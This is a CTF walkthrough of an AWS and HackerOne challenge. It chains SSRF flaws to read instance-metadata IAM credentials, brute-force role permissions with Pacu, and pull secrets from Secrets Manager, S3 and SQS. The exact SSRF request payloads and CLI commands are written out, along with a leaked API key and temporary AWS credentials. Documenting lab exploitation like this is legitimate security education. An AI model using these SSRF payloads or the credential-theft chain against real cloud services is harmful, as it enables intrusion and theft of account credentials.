AWS and HackerOne CTF write-up

Pawel Rzepa
7 min readApr 19, 2021

Recently, @d0nutptr built an AWS-based CTF on HackerOne platform. The CTF was time-limited (available just for a week), so I guess not all interested people had a chance to play with it. Furthermore, it’s still quite rare to see a CTF mixing AWS and web security skills. Thus, I decided it‘s worth writing a full walkthrough how to get the final flag.

source: https://twitter.com/Hacker0x01/status/1379811417046536195

Compromising the first role

The CTF starts with the link to the following web application, which basically tests if a domain is reachable and if so, then it displays the preview of the domain, e.g.:

At the first glance it looks like a potential for Server-Side Request Forgery (SSRF) vulnerability, which in cloud-based application can be especially dangerous (e.g. the Capital One breach), because of the threat of exposing the Instance Metadata service (IMDS). Indeed, if you type the special address http://169.254.169.254/, instead of the domain name, you can display the IMDS data:

The first thing I checked was the User Data (http://169.254.169.254/latest/user-data/), which is a place for your shell script, which is invoked at the boot time. Here’s what I’ve found:

#!/bin/bash mkdir -p $(dirname '/tmp/package.zip') aws s3 cp 's3://h101-h101-code-deploy/IsMySiteDown.zip' '/tmp/package.zip' mkdir -p $(dirname '/tmp/challenge.ini') aws s3 cp 's3://h101-h101-code-deploy/challenge.ini' '/tmp/challenge.ini' mkdir -p $(dirname '/tmp/challenge-nginx.conf') aws s3 cp 's3://h101-h101-code-deploy/challenge-nginx.conf' '/tmp/challenge-nginx.conf' mkdir -p $(dirname '/tmp/challenge.service') aws s3 cp 's3://h101-h101-code-deploy/challenge.service' '/tmp/challenge.service' mkdir -p $(dirname '/tmp/challenge_deploy.sh') aws s3 cp 's3://h101-h101-code-deploy/challenge_deploy.sh' '/tmp/challenge_deploy.sh' set -e chmod +x '/tmp/challenge_deploy.sh' '/tmp/challenge_deploy.sh' undefined

Ok, so now we know that, there’s an S3 bucket called the h101-h101-code-deploy. When I listed it’s content anonymously (curl http://h101-h101-code-deploy.s3.amazonaws.com/) I found, that there’s just one file called flag.txt:

…which was the dead end😤 But IMDS can store more precious data — the temporary security credentials of the role attached to the instance profile. When you query the endpoint http://169.254.169.254/latest/meta-data/iam/security-credentials/ you should see the name of the attached role:

Now, querying the endpoint http://169.254.169.254/latest/meta-data/iam/security-credentials/SSRFChallengeOneRole results with revealing the Access Key, the Secret Key and the Session Token — all you need to assume the SSRFChallengeOneRole.

The next challenge is to find out what privileges the compromised role has. As you may guess, the simple command to list role’s policy doesn’t work. But you can always try to brute force all permitted actions. I’ve decided to use Pacu (the AWS exploitation framework, which contains many modules with automated offensive actions, e.g. a dedicated module to brute force IAM permissions). Using set_keys and set_regions (the right region can be retrieved from the following IMDS endpoint: http://169.254.169.254/latest/dynamic/instance-identity/document) commands I’ve imported credentials of the compromised SSRFChallengeOneRole to Pacu and ran the iam__bruteforce_permissions which gave me the following output:

[iam__bruteforce_permissions] Allowed Permissions:ec2:
describe_instances
(...)
[iam__bruteforce_permissions] iam__bruteforce_permissions completed.
[iam__bruteforce_permissions] MODULE SUMMARY:Services:
Supported: ['ec2', 's3', 'logs'].
1 allow permissions found.
181 deny permissions found.

Please note, that Pacu’s iam__bruteforce_permissions supports only EC2, S3 and logs actions. If you’d like to brute force other actions you may find useful the enumerate-iam tool.

Compromising the second role

I’ve configured the temporary credentials on AWS CLI, and ran the command aws ec2 describe-instances. I don’t want to bore you with the full output, but in general I found out there are 4 instances, but only one of them used the following instance profile:

(...)
"IamInstanceProfile": {
"Arn": "arn:aws:iam::142500341815:instance-profile/InfraStack-SSRFChallengeTwoNestedStackSSRFChallengeTwoNestedStackR-SSRFChallengeTwoInstanceInstanceProfile95F54F34-1VOOCFANXBB4P",
(...)
"PrivateIpAddress": "10.0.0.55",
(...)

But how to reach the new machine? Well… what about using the SSRF in the first instance? So, I checked the availability of the http://10.0.0.55/ but I got an HTTP 401 with the error message: “Missing api_key parameter. See AWS SecretsManager.”.

Immediately, I checked compromised role’s permissions to AWS Secrets Manager, by running the following command:

aws secretsmanager list-secrets

The command retrieved 3 secrets:

"Name": "h101_flag_secret_secondary",
"Name": "h101_flag_secret_main",
"Name": "web_service_health_api_key",

But the SSRFChallengeOneRole was allowed to view only the value of web_service_health_api_key:

$ aws secretsmanager get-secret-value --secret-id web_service_health_api_key{
"ARN": "arn:aws:secretsmanager:us-west-2:142500341815:secret:web_service_health_api_key-u54cKi",
"Name": "web_service_health_api_key",
"VersionId": "a69ba9fd-684f-4587-b25f-1e8562c6d687",
"SecretString": "hXjYspOr406dn93uKGmsCodNJg3c2oQM",
"VersionStages": [
"AWSCURRENT"
],
"CreatedDate": "2021-03-17T15:03:17.443000+01:00"
}

Then I tried to reach the 10.0.0.55 machine with the new API key:

GET /api/check_webpage?addr=http://10.0.0.55%3Fapi_key=hXjYspOr406dn93uKGmsCodNJg3c2oQM HTTP/1.1
(...)

what gave the 10.0.0.55 web page in response:

<!DOCTYPE html>
<html lang="en">
<head>
<title>SERVICE HEALTH MONITOR</title>
<style>
.ok {
color: green;
}
.err {
color: red;
}
</style>
<script>api_key = "hXjYspOr406dn93uKGmsCodNJg3c2oQM";</script>
</head>
<body>
<h1>MACHINE STATUS</h1>
<table id="status_table">
<tr>
<th>ADDR</th>
<th>STATUS</th>
</tr>
</table>
</body>
<script src="/static/main.js"></script>
</html>

Trying to reach the IMDS service of the 10.0.0.55 machine resulted with the following error message: “Incorrect api_key. See AWS SecretsManager for an updated api_key.” (I’ve re-checked the value of the API key in Secrets Manager in all regions, but I haven’t found any new value😥). That’s the moment to do a one step back. Check one more time the output of 10.0.0.55 web page. Do you see another place where we can look for hints?

Exactly, the /static/main.js. The script revealed information about other API endpoints available on this machine:

The /api/get_status on 10.0.0.55 machine was vulnerable to SSRF. I exploited this vulnerability to retrieve the temporary security credentials of the SSRFChallengeTwoRole, by sending the following request to the first machine:

GET /api/check_webpage?addr=http://10.0.0.55/api/get_status?api_key=hXjYspOr406dn93uKGmsCodNJg3c2oQM%26addr=169.254.169.254/latest/meta-data/iam/security-credentials/SSRFChallengeTwoRole/ HTTP/1.1
(...)

what gave me the Access Key, the Secret Key and the Session Token of the SSRFChallengeTwoRole in the output:

{"data":"{\n  \"Code\" : \"Success\",\n  \"LastUpdated\" : \"2021-04-12T08:38:32Z\",\n  \"Type\" : \"AWS-HMAC\",\n  \"AccessKeyId\" : \"ASIASCLNOVA37AYJYXLM\",\n  \"SecretAccessKey\" : \"LoaDzYvnoJCXCxjuZ2AhxVHFV1gvAPtWMILGGWTM\",\n  \"Token\" : \"IQoJb3JpZ2luX2VjEGEaCXVzLXdlc3QtMiJHMEUCIQDWmHbv8w+BNqMLuqr2UdGmdOD6u10lFHuyieoPd9z8iwIgPf1kgeTAKHHSZ3ecU2Q9NCBYCsSOZt3QvBXlIGudCMcqvQMIuv//////////ARAAGgwxNDI1MDAzNDE4MTUiDNRLJDGN8uOV0v0cfSqRA4K8ADjCEdNJDcBzsfP8QonvkZvv18IufHLOVwVPt5qlZ4tidc0SFpak0oWR8AsDmcpMXEm/UKG7897iaIyanITnSeOrs+E3sFBkcC8Z1YdZ1hjr0fW61Js6a8ybapCNLPN+IKOURzySNq8O6oXHud78L7tGr4mAdVqfKDrFGTija2VfFREY7RFj1fucCONEGNkYQfZaiWhAAmWScdCebMr6KNYxvrIjOEHrrQjf22OXcxNxaQoOAqpirCFPK7kHr0yt/j8lW7p2dcTnlLRbSl8hV8n7UIvfHak5oKvYuem0ygvN14MP8Kg5wH2hJPbDLbRXmhfDsX6ZdQn4JiTNOUBftUdpuue0S6+2AanbRwSQV7Rpi+rLOXp5kf1O2aULxdIhs6YBevpIe3V3StHOVQDCt5YobjXl51jRFN4y3iOqRjxB+KmPKMTtGkzWsXkX3eqnb6tD1CWOIx6VnwlQvgf+gQsiHIBULyfHP0o1nTOHvizRP9zvNMPwWg72qLXWiaSRgNGWGAibCu4axKMe6hcmML2O0IMGOusBka08aLjllIsugtlHSrnfSFoLhoK/KM1bx5MW1O/7wRxHrohVz0AkvJng1QwOjmNL9+4oZMcqebKYHQ+qQYiKtABUrorsAJTWLA8eJrJPs9bRYOkjj9xFW6hD+rm/F6EN8wQO9D2Qp+kS5D8x4CbipPMDDVRMLMp67WiuUvzLWN/yemj18Zcw/M6FH9aiUX0FOlpwDx6gET2s183eb5a2S3Qu09XQkkps2VzMIta4N2FSGYxCGsPn8SzxM/am3aLnClSrtYIcC++6vl6lb5v4eDwYQCERmKclBYfZySGKIuZYtW2T4l/K7Yjd5Q==\",\n  \"Expiration\" : \"2021-04-12T14:41:48Z\"\n}","success":true}

Brilliant! Again, I’ve configured the new creds in AWS CLI and Pacu and then ran again the iam__bruteforce_permissions Pacu’s module. The new role seemed to have permissions to some S3 read actions:

[iam__bruteforce_permissions] Allowed Permissions:ec2:s3:
list_buckets
(...)[iam__bruteforce_permissions] iam__bruteforce_permissions completed.[iam__bruteforce_permissions] MODULE SUMMARY:Services:
Supported: ['ec2', 's3', 'logs'].
1 allow permissions found.
181 deny permissions found.

Using the new compromised role I was able to list 5 S3 buckets:

aws s3 ls 
2021-04-06 18:56:17 awsctfelblogs
2021-04-07 06:53:15 awsctfelbqueryresults
2021-03-17 15:04:26 h101-dev-notes
2021-03-17 15:03:20 h101-flag-files
2021-03-16 21:22:02 h101ctfloadbalancerlogs

The h101-dev-notes bucket contained a file called README.md which could be retrieved by the following command:

aws s3 cp s3://h101-dev-notes/README.md . 

Generating the flag

The file contained exact steps how to retrieve the final flag:

Following the instructions I sent the following request:

GET /api/check_webpage?addr=http://10.0.0.55/api/_internal/87tbv6rg6hojn9n7h9t/get_hid?api_key=hXjYspOr406dn93uKGmsCodNJg3c2oQM HTTP/1.1

and got the fid and hid in the output:

{"fid":"2d9a0161-72a8-463d-8e60-d479101226da","hid":"47772da1ea4aeef1ef069baa4c7abbe96f9c5b65"}

The last thing I missed was the URL of the SQS queue. Luckily the SSRFChallengeTwoRole role was allowed to retrieve it:

aws sqs get-queue-url --queue-name flag_file_generator{
"QueueUrl": "https://sqs.us-west-2.amazonaws.com/142500341815/flag_file_generator"
}

Then I followed the step 2nd of the README.md instructions by sending the following message to the SQS queue:

aws sqs send-message --queue-url https://sqs.us-west-2.amazonaws.com/142500341815/flag_file_generator --message-body '{"fid":"2d9a0161-72a8-463d-8e60-d479101226da","hid":"47772da1ea4aeef1ef069baa4c7abbe96f9c5b65"}'

Finally, following the 3rd step of the README.md instruction gave me the flag:

$ aws s3 cp s3://h101-flag-files/2d9a0161-72a8-463d-8e60-d479101226da.flag .$ $ cat 2d9a0161-72a8-463d-8e60-d479101226da.flag
5b014708ae3e10ee4491914720943b2d71da909c

The flag then had to be submitted to the https://ctf.hacker101.com/ctf/flagcheck . In the response I got the AWS CTF flag which could be submitted on the individual subdomain, generated at the beginning of the CTF (in my case it was 1717e78f38ba0066fd6786b8b47b5b0fcd35590e.aws.h1ctf.com). After that I got the congratulations banner and the invitation to the private BugBounty program😎

Summary

In short, the steps to finish the CTF were the following:

  • Exploit the SSRF to compromise the SSRFChallengeOneRole IAM role.
  • Use the SSRFChallengeOneRole’s permissions to find another EC2 instance’s IP address and API key in AWS Secrets Manager.
  • Exploit the SSRF in the second machine to compromise the SSRFChallengeTwoRole IAM role.
  • Use the SSRFChallengeTwoRole’s permissions to access S3 and SQS services in order to generate and download the final flag.

I had a great time, while solving this CTF and I hope, soon there’ll be announced another ones.

Did I miss anything? Did you find other hidden things in this CTF? Please let me know on my Twitter or LinkedIn. Let’s stay in touch!

--

--

Pawel Rzepa

Interested in pentesting and cloud security | OSCP | eMAPT | AWS SAA | AWS CSS